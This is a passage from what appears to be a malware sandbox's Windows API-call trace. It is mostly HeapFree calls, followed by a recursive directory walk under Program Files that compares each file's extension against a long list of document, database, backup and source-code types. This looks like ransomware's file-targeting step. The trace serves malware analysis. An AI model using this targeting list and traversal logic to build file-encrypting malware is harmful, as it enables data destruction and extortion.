HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.790] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.791] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.792] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.798] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.809] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.812] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.820] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0248.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.017] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.021] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.022] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.023] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.030] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.031] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.031] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.031] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.032] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.036] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.036] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.037] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.450] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0249.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0249.468] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.471] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.482] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.483] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.484] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.484] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.485] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0249.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0249.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0249.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.811] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0249.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.813] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0249.823] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0249.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0249.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.825] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0249.827] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0249.828] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0250.107] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0250.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0250.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0250.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.109] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0250.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0250.186] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.188] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0250.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0250.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 83 [0250.578] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 1 [0250.578] lstrlenW (lpString="110") returned 3 [0250.578] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="110") returned 1 [0250.579] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4198320 [0250.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110") returned 83 [0250.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\*", lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd08 [0250.876] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.887] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1 [0250.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 90 [0250.892] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 1 [0250.892] lstrlenW (lpString="Shared") returned 6 [0250.892] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Shared") returned -1 [0250.892] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared") returned 90 [0250.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0250.897] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.898] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0250.899] lstrlenW (lpString="msasxpress.dll") returned 14 [0250.899] lstrlenW (lpString=".1cd") returned 4 [0250.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.900] lstrlenW (lpString=".3ds") returned 4 [0250.901] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0250.901] lstrlenW (lpString=".3fr") returned 4 [0250.901] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0250.901] lstrlenW (lpString=".3g2") returned 4 [0250.901] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0250.902] lstrlenW (lpString=".3gp") returned 4 [0250.902] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0250.902] lstrlenW (lpString=".7z") returned 3 [0250.902] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.905] lstrlenW (lpString=".accda") returned 6 [0250.905] lstrcmpiW (lpString1=".accda", lpString2="ss.dll") returned -1 [0250.905] lstrlenW (lpString=".accdb") returned 6 [0250.905] lstrcmpiW (lpString1=".accdb", lpString2="ss.dll") returned -1 [0250.905] lstrlenW (lpString=".accdc") returned 6 [0250.907] lstrcmpiW (lpString1=".accdc", lpString2="ss.dll") returned -1 [0250.907] lstrlenW (lpString=".accde") returned 6 [0250.907] lstrcmpiW (lpString1=".accde", lpString2="ss.dll") returned -1 [0250.907] lstrlenW (lpString=".accdt") returned 6 [0250.907] lstrcmpiW (lpString1=".accdt", lpString2="ss.dll") returned -1 [0250.909] lstrlenW (lpString=".accdw") returned 6 [0250.909] lstrcmpiW (lpString1=".accdw", lpString2="ss.dll") returned -1 [0250.909] lstrlenW (lpString=".adb") returned 4 [0250.909] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0250.909] lstrlenW (lpString=".adp") returned 4 [0250.923] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai") returned 3 [0250.923] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0250.923] lstrlenW (lpString=".ai3") returned 4 [0250.923] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai4") returned 4 [0250.923] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai5") returned 4 [0250.923] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai6") returned 4 [0250.923] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai7") returned 4 [0250.923] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ai8") returned 4 [0250.923] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".anim") returned 5 [0250.923] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0250.923] lstrlenW (lpString=".arw") returned 4 [0250.923] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".as") returned 3 [0250.923] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0250.923] lstrlenW (lpString=".asa") returned 4 [0250.923] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".asc") returned 4 [0250.923] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0250.923] lstrlenW (lpString=".ascx") returned 5 [0250.924] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0250.924] lstrlenW (lpString=".asm") returned 4 [0250.924] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".asmx") returned 5 [0250.924] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0250.924] lstrlenW (lpString=".asp") returned 4 [0250.924] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".aspx") returned 5 [0250.924] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0250.924] lstrlenW (lpString=".asr") returned 4 [0250.924] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".asx") returned 4 [0250.924] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".avi") returned 4 [0250.924] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".avs") returned 4 [0250.924] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".backup") returned 7 [0250.924] lstrcmpiW (lpString1=".backup", lpString2="ess.dll") returned -1 [0250.924] lstrlenW (lpString=".bak") returned 4 [0250.924] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".bay") returned 4 [0250.924] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".bd") returned 3 [0250.924] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0250.924] lstrlenW (lpString=".bin") returned 4 [0250.924] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".bmp") returned 4 [0250.924] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".bz2") returned 4 [0250.924] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".c") returned 2 [0250.924] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0250.924] lstrlenW (lpString=".cdr") returned 4 [0250.924] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0250.924] lstrlenW (lpString=".cer") returned 4 [0250.925] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cf") returned 3 [0250.925] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0250.925] lstrlenW (lpString=".cfc") returned 4 [0250.925] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cfm") returned 4 [0250.925] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cfml") returned 5 [0250.925] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0250.925] lstrlenW (lpString=".cfu") returned 4 [0250.925] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".chm") returned 4 [0250.925] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cin") returned 4 [0250.925] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".class") returned 6 [0250.925] lstrcmpiW (lpString1=".class", lpString2="ss.dll") returned -1 [0250.925] lstrlenW (lpString=".clx") returned 4 [0250.925] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".config") returned 7 [0250.925] lstrcmpiW (lpString1=".config", lpString2="ess.dll") returned -1 [0250.925] lstrlenW (lpString=".cpp") returned 4 [0250.925] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cr2") returned 4 [0250.925] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".crt") returned 4 [0250.925] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".crw") returned 4 [0250.925] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0250.925] lstrlenW (lpString=".cs") returned 3 [0250.925] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0250.925] lstrlenW (lpString=".css") returned 4 [0250.926] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".csv") returned 4 [0250.926] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".cub") returned 4 [0250.926] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dae") returned 4 [0250.926] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dat") returned 4 [0250.926] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".db") returned 3 [0250.926] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0250.926] lstrlenW (lpString=".dbf") returned 4 [0250.926] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dbx") returned 4 [0250.926] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dc3") returned 4 [0250.926] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dcm") returned 4 [0250.926] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dcr") returned 4 [0250.926] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".der") returned 4 [0250.926] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dib") returned 4 [0250.926] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dic") returned 4 [0250.926] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".dif") returned 4 [0250.926] lstrcmpiW 